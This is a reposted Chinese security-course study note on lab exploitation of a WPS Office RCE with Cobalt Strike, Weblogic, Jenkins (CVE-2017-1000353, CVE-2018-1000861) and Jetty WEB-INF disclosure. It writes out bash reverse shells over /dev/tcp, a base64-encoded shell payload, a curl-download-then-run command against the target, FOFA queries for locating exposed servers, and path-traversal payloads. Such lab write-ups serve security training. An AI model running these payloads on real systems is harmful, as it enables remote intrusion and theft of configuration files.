小迪安全v2023學習筆記(八十講)—— 中間件安全WPS分析WeblogicJenkinsJettyCVE

文章目錄

  • 前記
  • 服務攻防——第八十天
    • 中間件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE
      • 應用WPS - HW2023-RCE&復現&上線CS
        • 介紹
        • 漏洞復現
      • 中間件 - Weblogic-CVE&反序列化&RCE
        • 介紹
        • 利用
      • 中間件 - Jenkins-CVE&RCE執行
        • 介紹
        • 漏洞復現
          • CVE-2017-1000353
          • CVE-2018-1000861
          • CVE-2019-100300
      • 中間件 - Jetty-CVE&信息泄露
        • 介紹
        • 漏洞復現
          • CVE-2021-28169
          • CVE-2021-34429
          • 總結

前記

  • 今天是學習小迪安全的第八十天,本節課仍然是圍繞中間件安全展開,包括Weblogic、Jenkins、Jetty
  • 主要以實戰為主,學會識別以及使用工具一把梭

服務攻防——第八十天

中間件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE

應用WPS - HW2023-RCE&復現&上線CS

介紹
  • 漏洞描述
    • WPS Office for Windows 內置了用于展示在線模板、素材的嵌入式瀏覽器(Chromium 內核)。
    • 當用戶打開攻擊者特制的文檔并點擊其中的 URL(或帶超鏈接的圖片/視頻)時,WPS 會調用內置瀏覽器訪問該鏈接。由于:
      1. 對域名白名單校驗過松(只要后綴匹配 *.wps.cn 即可通過);
      2. 內置瀏覽器暴露了 cefQuery 等本地 API,可被頁面內 JavaScript 調用;
    • 攻擊者可在頁面中嵌入惡意腳本,通過 cefQuery 請求 WPS 的本地接口,實現“無提示下載 → 落地 → 運行”任意可執行文件,最終造成遠程代碼執行(RCE)
  • 影響版本
    • WPS Office 2023個人版:≤\le 11.1.0.15120
    • WPS Office 2019企業版:≤\le 11.8.2.12085
  • 利用條件
    1. 受害者使用存在漏洞的 WPS 版本;
    2. 系統當前用戶對 WPS 下載目錄(默認為 %TEMP% 或下載文件夾)具備寫權限;
    3. 需要用戶“1-click”交互——打開文檔后至少點擊一次惡意鏈接或帶鏈接的圖片;
    4. 攻擊者需控制一個符合 *.wps.cn 子域(或能劫持/假冒)的 Web 服務器,用于托管惡意 HTML/JS 與后續載荷
漏洞復現
  • 這里主要是簡單復現一下本地命令執行,然后配合C2上線,最后想想實戰中如何利用,增加點知識面

  • 可以看到WPS版本符合要求:
    在這里插入圖片描述

  • 我們先添加一個域名讓它能夠解析,修改win10虛擬機中的hosts文件(C:\Windows\System32\drivers\etc),添加:

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

在這里插入圖片描述

  • 在win10虛擬機中的WPS RCE復現目錄下臨時啟動一個WEB服務:
python -m http.server 80

在這里插入圖片描述

  • 然后我們此時直接打開當前目錄下的poc.docx文件,發現它彈出了計算器,說明我們的命令執行是成功的(but我這里并沒有成功彈出計算器,原因未知)
    在這里插入圖片描述

  • 并且也能夠看到終端中有人訪問過這個1.html文件
    在這里插入圖片描述

  • 當然,我們想要利用這個漏洞不止是彈出個計算器那么簡單,很多時候都是想要讓這個機器當成跳板機然后我們進行內網的一些操作,所以需要我們可以嘗試讓他上線CS

  • 至于什么是CS,以及CS如何使用,可以參考這篇文章:CobaltStrike使用教程詳解(基礎)-CSDN博客

  • 這里先在kali中啟動CS的服務器:
    在這里插入圖片描述

  • 然后我還是在kali中啟動的客戶端,當然也可以在Windows上啟動:
    在這里插入圖片描述

  • 接著我們在CS中配置一個監聽器,ip地址填本機:
    在這里插入圖片描述

  • 再生成一個payload,選擇剛剛的監聽器,并且輸出語言為C#
    在這里插入圖片描述

  • 將生成的payload部分放到1.html文件中,放到kali中,開啟http服務:
    在這里插入圖片描述
    在這里插入圖片描述

  • 再到hosts文件中將剛才的域名綁定到kaliip地址:
    在這里插入圖片描述

  • 并且在poc.docx中修改webExtension1.xml中的url為如下:
    在這里插入圖片描述

  • 之后打開poc.docx,等待一會,應該就能夠看到CS上線了,泥煤的,我還是沒復現成功啊

  • 弄了一下午也搞不懂什么情況,這里就不弄了,其實這個也沒啥用,因為它的利用條件導致這個漏洞也比較雞肋,只能說提供一個思路

中間件 - Weblogic-CVE&反序列化&RCE

介紹
  • WeblogicOracle 公司推出的 J2EE 應用服務器。
  • 探針默認端口7001
  • 默認報錯頁面
    在這里插入圖片描述
利用
  • 目前爆出來的漏洞有:

    • CVE-2023-21839(JNDI)、CVE-2020-2551(JRMP)、CVE-2020-2551
    • CVE-2020-2555、CVE-2020-2883、CVE-2020-14882 未授權訪問
    • CVE-2018-2894、CVE-2018-2628(JRMP)、CVE-2018-2893(JRMP)
    • CVE-2018-3245(JRMP)、CVE_2018_3252(JRMP)、CVE_2018_3191
    • CVE-2016-3510、CVE-2016-0638、CVE-2017-10271、CVE-2017-3248(JRMP)、CVE-2015-4852
  • 這么多漏洞一個個測肯定是不可能的,所以我們直接上工具:WeblogicTool

  • 直接隨便開個靶場,然后我們直接工具一把梭就完事了:
    在這里插入圖片描述

  • fofa語法:

"Error 404-Not Found" && port="7001"

中間件 - Jenkins-CVE&RCE執行

介紹
  • Jenkins 是一個開源軟件項目,是基于 Java 開發的一種持續集成工具,用于監控持續重復的工作。
  • 探針默認端口8080
  • 默認頁面(老公公的標志):
    在這里插入圖片描述
漏洞復現
  • 這里同樣我們可以直接用工具一把梭,當然也可以用對應的payload一個一個測
  • 工具地址:https://github.com/TheBeastofwar/JenkinsExploit-GUI
CVE-2017-1000353
  • 漏洞描述:Jenkins 在處理基于 HTTP 雙向通信通道的 CLI 請求時,未對收到的序列化對象做充分校驗。攻擊者可將惡意的 java.security.SignedObject 序列化后發送給 Jenkins,Jenkins 將其反序列化為 Command 對象,從而繞過官方黑名單機制,觸發 Java 反序列化鏈,最終造成 未授權遠程代碼執行(RCE)
  • 影響版本
    • Jenkins主線:≤ 2.56
    • Jenkins LTS≤ 2.46.1
  • 利用項目:vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC
  • 利用
# 1.先生成反彈shell命令
bash -i >& /dev/tcp/攻擊機IP/監聽端口 0>&1
# 2.將base64編碼過后的命令填入生成jenkins_poc.ser,這里java建議使用JDK-1.8.0_291,其他的好像有問題 
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI5LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
# 3.使用python啟動epxploit.py,加上網站和jenkins_poc.ser
python exploit.py http://目標IP:目標端口 jenkins_poc.ser
# 4.攻擊機即可獲取到反彈的shell(要記得在攻擊機執行nc -lvvp 5566)
  • 或者直接使用上面的工具一把梭,當然有時候工具不一定能利用成功,也可以當作先驗證一下:
    在這里插入圖片描述

  • 這里顯示目標處于漏洞版本,那我們還是用具體的利用工具進行測試,首先對反彈Shell進行編碼,然后運行工具得到jenkins_poc.ser文件:
    在這里插入圖片描述

  • 接著監聽我們的端口,然后執行第三條命令:
    在這里插入圖片描述

  • 然后這里本來是可以連上我們的攻擊機的,但是我這里又沒成功,真的不能理解是為什么反彈不成功

  • 但是這里直接執行命令是能夠成功的:
    在這里插入圖片描述
    在這里插入圖片描述

CVE-2018-1000861
  • 漏洞描述:Jenkins 采用 Stapler Web 框架開發,框架允許把 URL PATH 直接映射到后端的 public 方法。 CVE-2018-1000861 的成因是 這種映射沒有 ACL 限制,攻擊者可在 無需登錄 的情況下,通過構造 /securityRealm/.../descriptorByName/.../checkScript 這類“白名單前綴”URL,一路路由到 org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#checkScript 等敏感方法;再配合 Groovy 的 元編程/AST 注解(如 @ASTTest@Grab),在 腳本編譯階段(語法檢查) 觸發任意代碼執行,從而 繞過運行時沙盒,造成 未授權 RCE
  • 影響版本
    • Jenkins主線:≤ 2.153
    • Jenkins LTS≤ 2.138.3
  • 利用項目:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
  • 利用
# 1.將反彈shell命令寫入到服務器下shell.txt
bash -i >& /dev/tcp/攻擊IP/監聽端口 0>&1
# 2.在服務器上啟動一個web服務,使可以訪問到shell.txt
python3 -m http.server 8888
# 3.先使目標遠程下載shell.txt文件并保存
python2 exp.py http://目標IP:端口/ "curl -o /tmp/1.sh http://服務器IP:服務器端口/shell.txt"
# 4.再使目標執行下載的文件
python2 exp.py http://目標IP:端口/ "bash /tmp/1.sh"
  • 首先寫入反彈Shell的命令到shell.txt,并開啟服務:
    在這里插入圖片描述

  • 然后調用exp.py讓目標網站遠程加載shell.txt文件到本地/tmp/1.sh,這里可以看到它確實是下載了這個文件:
    在這里插入圖片描述
    在這里插入圖片描述

  • 最后讓目標網站執行本地的1.sh文件:
    在這里插入圖片描述

  • 本來它是會反彈到我們的攻擊機上的,但是這里還是沒有反彈成功,原因是因為我用的Ubuntu系統應該是環境有問題,所以很多反彈Shell的命令用不了,但是文件是成功下載的,換成其他命令應該是可以執行的:
    在這里插入圖片描述

  • 出現的問題:如果這里使用pip2下載庫失敗的,可以使用如下命令

python27 install -r requirement.txt --progress-bar=off -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
CVE-2019-100300
  • 漏洞描述:CVE-2019-100300 并非單一缺陷,而是 Jenkins 官方在 2019-01-08 一次性披露的三個關聯插件漏洞的合稱,本質都是 “Groovy 編譯期 AST 轉換注解繞過腳本沙盒”,最終造成 已認證遠程代碼執行(RCE)
  • 影響版本:主要是插件安全
  • 利用條件:需要有可登錄的賬號密碼,利用價值較低
  • 利用項目:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

中間件 - Jetty-CVE&信息泄露

介紹
  • Jetty 是一個開源的 servlet 容器,它為基于 Java 的 Web 容器提供運行環境
  • fofa語法:
app="Jetty"
  • 插件識別:
    在這里插入圖片描述
漏洞復現
CVE-2021-28169
  • 漏洞描述CVE-2021-28169Eclipse Jetty 中的一個信息泄露漏洞,源于對 URL 路徑的雙重解碼處理不當。在使用 ConcatServletWelcomeFilter 時,Jetty 會先對請求路徑進行一次 URL 解碼并檢查是否包含敏感目錄(如 /WEB-INF/),隨后再次解碼并轉發請求。攻擊者可通過雙重 URL 編碼繞過第一次的安全檢查,從而訪問本應受保護的 WEB-INF 目錄下的敏感文件(如 web.xml),造成配置文件或源代碼泄露。
  • 影響版本
    • Jetty 9.x≤ 9.4.40
    • Jetty 10.x≤ 10.0.2
    • Jetty 11.x≤ 11.0.2
  • 利用
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml

在這里插入圖片描述

CVE-2021-34429
  • 漏洞描述:CVE-2021-34429 是 Eclipse Jetty 中的一個路徑驗證繞過導致的信息泄露漏洞。該漏洞源于 Jetty 在處理 URI 路徑時對 Unicode 編碼(如 %u002e)和空字符(如 %00)處理不當,使得攻擊者可以通過構造特殊編碼的路徑繞過 ContextHandler 的安全檢查,從而訪問 WEB-INFMETA-INF 等受限目錄下的敏感文件(如 web.xmlclasses/*.class 等)
  • 影響版本
    • Jetty 9.x9.4.37 – 9.4.42
    • Jetty 10.x10.0.1 – 10.0.5
    • Jetty 11.x11.0.1 – 11.0.5
  • 利用
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml

在這里插入圖片描述

總結
  • 關于Jetty的兩個漏洞都是信息泄露的漏洞,有一定作用,遇到就用下面這幾個Payload測試就行了:
/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/921819.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/921819.shtml
英文地址,請注明出處:http://en.pswp.cn/news/921819.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

各webshell管理工具流量分析

哥斯拉哥斯拉是一個基于流量、HTTP全加密的webshell管理工具 特點 1.內置了3種Payload以及6種加密器,6種支持腳本后綴,20個內置插件 2.基于java,可以跨平臺使用 3.可以自己生成webshell,根據管理來生成一些payload,然后…

pytest(1):fixture從入門到精通

pytest(1):fixture從入門到精通前言1. Fixture 是什么?為什么我們需要它?2. 快速上手:第一個 Fixture 與基本用法3. 作用域 (Scope):控制 Fixture 的生命周期4. 資源管理:Setup/Tear…

Java17 LTS 新特性用例

基于 Java 17 LTS 的 實用示例 以下是基于 Java 17 LTS 的 30 個實用示例,涵蓋語言新特性、API 改進及常見場景。所有代碼均兼容 Java 17 語法規范。 文本塊(Text Blocks) String json = """{"name": "Java 17","type": &qu…

SpringBoot-Web開發-內容協商——多端內容適配內容協商原理HttpMessageConverter

其它篇章: 一:SpringBoot3-日志——日志原理&日志格式&日志級別&日志分組&文件輸出&文件歸檔&滾動切割 二:SpringBoot3-Web開發-靜態資源——WebMvcAutoConfiguration原理&資源映射&資源緩存&歡迎頁&…

Spring MVC 類型轉換與參數綁定:從架構到實戰

在 Spring MVC 開發中,“前端請求數據” 與 “后端 Java 對象” 的格式差異是高頻痛點 —— 比如前端傳的String類型日期(2025-09-08)要轉成后端的LocalDate,或者字符串male要轉成GenderEnum.MALE枚舉。Spring 并非通過零散工具解…

Spark提交任務的資源配置和優化

Spark 提交任務時主要可調的資源配置參數包括 Driver 資源(內存、CPU)、Executor 資源(數量、內存、CPU)以及 集群管理相關參數。配置和優化時一般結合集群硬件資源、數據規模、作業類型和作業復雜度(SQL / 機器學習&a…

機器學習06——支持向量機(SVM核心思想與求解、核函數、軟間隔與正則化、支持向量回歸、核方法)

上一章:機器學習05——多分類學習與類別不平衡 下一章:機器學習07——貝葉斯分類器 機器學習實戰項目:【從 0 到 1 落地】機器學習實操項目目錄:覆蓋入門到進階,大學生就業 / 競賽必備 文章目錄一、間隔與支持向量&…

AI集群全鏈路監控:從GPU微架構指標到業務Metric關聯

點擊 “AladdinEdu,同學們用得起的【H卡】算力平臺”,H卡級別算力,80G大顯存,按量計費,靈活彈性,頂級配置,學生更享專屬優惠。 引言:AI算力時代的監控挑戰 隨著深度學習模型規模的指…

K8s Ingress Annotations參數使用指南

Kubernetes Ingress Annotations 是與特定 Ingress 控制器(如 Nginx、Traefik、HAProxy 等)配合使用,用于擴展和定制 Ingress 資源行為的關鍵配置項。它們通常以鍵值對的形式添加在 Ingress 資源的 metadata部分。Ingress Annotations參數速查…

CodeBuddy Code深度實戰:從零構建智能電商推薦系統的完整開發歷程

項目背景與挑戰作為一名有著多年全棧開發經驗的技術人員,我最近接手了一個具有挑戰性的項目:為某中型服裝電商平臺開發一套智能商品推薦系統。該系統需要在2個月內完成,包含以下核心功能:前端:React TypeScript構建的…

Day 19: 算法基礎與面試理論精通 - 從思想理解到策略掌握的完整體系

Day 19: 算法基礎與面試理論精通 - 從思想理解到策略掌握的完整體系 ?? 課程概述 核心目標:深度理解算法設計思想和核心原理,掌握面試高頻算法概念,建立完整的算法知識體系 學習重點: ? 核心數據結構的本質理解和應用場景分析 ? 經典算法設計模式的思想精髓和解題策…

AI與AR融合:重塑石化與能源巡檢的未來

在石化企業和新能源電站的巡檢工作中,傳統模式正被一場技術革命所顛覆。AI與AR( www.teamhelper.cn )的深度融合,不僅提升了巡檢效率,更將巡檢工作從被動響應轉變為預測預防,開啟了智能運維的新篇章。一、透…

滴滴二面(準備二)

手寫防抖函數并清晰闡述其價值,確實是前端面試的常見考點。下面我將為你直接呈現防抖函數的代碼,并重點結合滴滴的業務場景進行解釋,幫助你向面試官展示思考深度。 這是防抖函數的一個基本實現,附帶注釋以便理解: func…

Kubernetes(四):Service

目錄 一、定義Service 1.1 typeClusterIP 1.2 typeNodePort 1.3 typeLoadBalancer 1.4 typeExternalName 1.5 無標簽選擇器的Service 1.6 Headless Service 二、Kubernetes的服務發現 2.1 環境變量方式 2.2 DNS方式 Kubernetes 中 Service 是 將運行在一個或一組 Pod 上的應用…

在 Python 中實現觀察者模式的具體步驟是什么?

在 Python 中實現觀察者模式可以遵循以下具體步驟,這些步驟清晰地劃分了角色和交互流程: 步驟 1:定義主題(Subject)基類 主題是被觀察的對象,負責管理觀察者和發送通知。需實現以下核心方法: 存…

分布式方案 一 分布式鎖的四大實現方式

Java分布式鎖實現方式詳解 什么是分布式鎖 基于數據庫的分布式鎖基于Redis的分布式鎖基于ZooKeeper的分布式鎖基于Etcd的分布式鎖 各種實現方式對比最佳實踐建議多節點/線程調用結果展示 基于數據庫的分布式鎖 - 多線程測試基于Redis的分布式鎖 - 多節點測試基于ZooKeeper的分…

基于Room+RESTful的雙權限Android開機時間監控方案

概述 以下是使用Kotlin實現的商業級Android開機時間記錄功能,包含現代Android開發最佳實踐。 系統架構 組件設計 // BootReceiver - 接收開機廣播 class BootReceiver : BroadcastReceiver() {override fun onReceive(context: Context, intent: Intent?) {if (int…

水庫大壩安全監測系統的作用

水庫大壩作為重要的水利基礎設施,承擔著防洪、供水、發電、灌溉等多重功能,其安全性直接關系到人民生命財產安全和社會經濟發展。然而,由于自然環境變化、材料老化、荷載作用以及人為因素的影響,大壩在長期運行過程中可能出現裂縫…

《Kubernetes 構建 MySQL MGR 集群實戰教程》

#### 一、前言 MySQL Group Replication (MGR) 是 MySQL 官方提供的高可用集群方案,基于 Paxos 協議實現多節點數據強一致性。本教程將指導如何在 Kubernetes 上部署 MySQL MGR 集群,適用于生產級高可用場景。---#### 二、環境準備 1. **Kubernetes 集…

影視APP源碼 SK影視 安卓+蘋果雙端APP 反編譯詳細視頻教程+源碼

內容目錄一、詳細介紹二、效果展示1.部分代碼2.效果圖展示三、學習資料下載一、詳細介紹 影視APP源碼 SK影視 安卓蘋果雙端APP 反編譯詳細視頻教程源碼 自帶對接優效SDK廣告(已失效)。域名和IP都可以搭建。 自帶一起看和短劇頁面功能,三種…